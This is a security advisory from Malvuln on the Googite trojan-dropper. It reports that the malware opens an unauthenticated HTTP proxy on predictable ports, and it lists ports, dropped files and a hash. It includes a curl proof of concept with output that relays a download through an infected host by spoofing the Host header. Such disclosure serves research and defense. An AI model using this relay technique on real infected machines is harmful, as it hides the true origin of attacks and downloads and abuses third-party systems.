Discovery / credits: Malvuln - malvuln.com (c) 2021 Original source: https://malvuln.com/advisory/ff30fbee3724d80dcb9471c0b553c99a.txt Contact: malvuln13@gmail.com Media: twitter.com/malvuln Threat: Trojan-Dropper.Win32.Googite.a Vulnerability: Unauthenticated Open Proxy Description: Googite malware drops several executables under dirs (SysWOW64/System32) and listens on non-specific but semi-predictable TCP ports as ports "1202, 1200" repeat often. On reboot ports 1202, 1200 became 6064, 6062 and pattern is that the ports are two digits apart each time. 2522,2520 9914,9912 1202,1200 (repeat) 1202,1200 (repeat) 1398, 1396 1794,1792 5337,5335 1202, 1200 (repeat) 1626,1624 1260,1258 1202,1200 (repeat) 2504,2502 9242,9240 1229,1227 1202,1200 (repeat) The executables take CL args for the Port like svchosts.exe -p1200, and also allows spoofing the Host header when making HTTP requests to third-party systems. Third-party adversaries who can connect to the infected system can relay requests from the original connection to the destination and then back to the origination system. Attackers may then be able to launch attacks or download files from third party systems and it will appear the attacks or downloads originated from the infected host. The relay does not require authentication or any special User-agent check and leverages the HTTP Host header in the request to connect to third-party systems. Type: PE32 MD5: ff30fbee3724d80dcb9471c0b553c99a Vuln ID: MVID-2021-0240 Dropped files: svchostc.exe, svchosts.exe, surte.exe Disclosure: 06/06/2021 Exploit/PoC: 1) DOOM.exe lives on 192.168.18.128 2) Use lower port of the two, high port (1650) will send RST packet when try to download. curl http://192.168.18.127:1648/DOOM.exe -H "Host: 192.168.18.128" --out DOOM.exe -v *  Trying 192.168.18.127... * TCP_NODELAY set  % Total   % Received % Xferd  Average Speed  Time   Time   Time  Current                  Dload  Upload  Total  Spent   Left  Speed  0   0   0   0   0   0    0    0 --:--:-- --:--:-- --:--:--   0* Connected to 192.168.18.127 (192.168.18.127) port 1648 (#0) GET /DOOM.exe HTTP/1.1 Host: 192.168.18.128 User-Agent: curl/7.55.1 Accept: */* * HTTP 1.0, assume close after body HTTP/1.0 200 OK Server: SimpleHTTP/0.6 Python/2.7.6 Date: Sun, 06 Jun 2021 23:51:47 GMT Content-type: application/x-msdos-program Content-Length: 103533 Last-Modified: Sat, 03 Aug 2019 04:57:12 GMT * HTTP/1.0 connection set to keep alive! Connection: Keep-Alive { [65820 bytes data] 100  101k  100  101k   0   0  101k    0  0:00:01 --:--:--  0:00:01  643k * Connection #0 to host 192.168.18.127 left intact Disclaimer: The information contained within this advisory is supplied "as-is" with no warranties or guarantees of fitness of use or otherwise. Permission is hereby granted for the redistribution of this advisory, provided that it is not altered except by reformatting it, and that due credit is given. Permission is explicitly given for insertion in vulnerability databases and similar, provided that due credit is given to the author. The author is not responsible for any misuse of the information contained herein and accepts no responsibility for any damage caused by the use or misuse of this information. The author prohibits any malicious use of security related information or exploits by the author or elsewhere. Do not attempt to download Malware samples. The author of this website takes no responsibility for any kind of damages occurring from improper Malware handling or the downloading of ANY Malware mentioned on this website or elsewhere. All content Copyright (c) Malvuln.com (TM).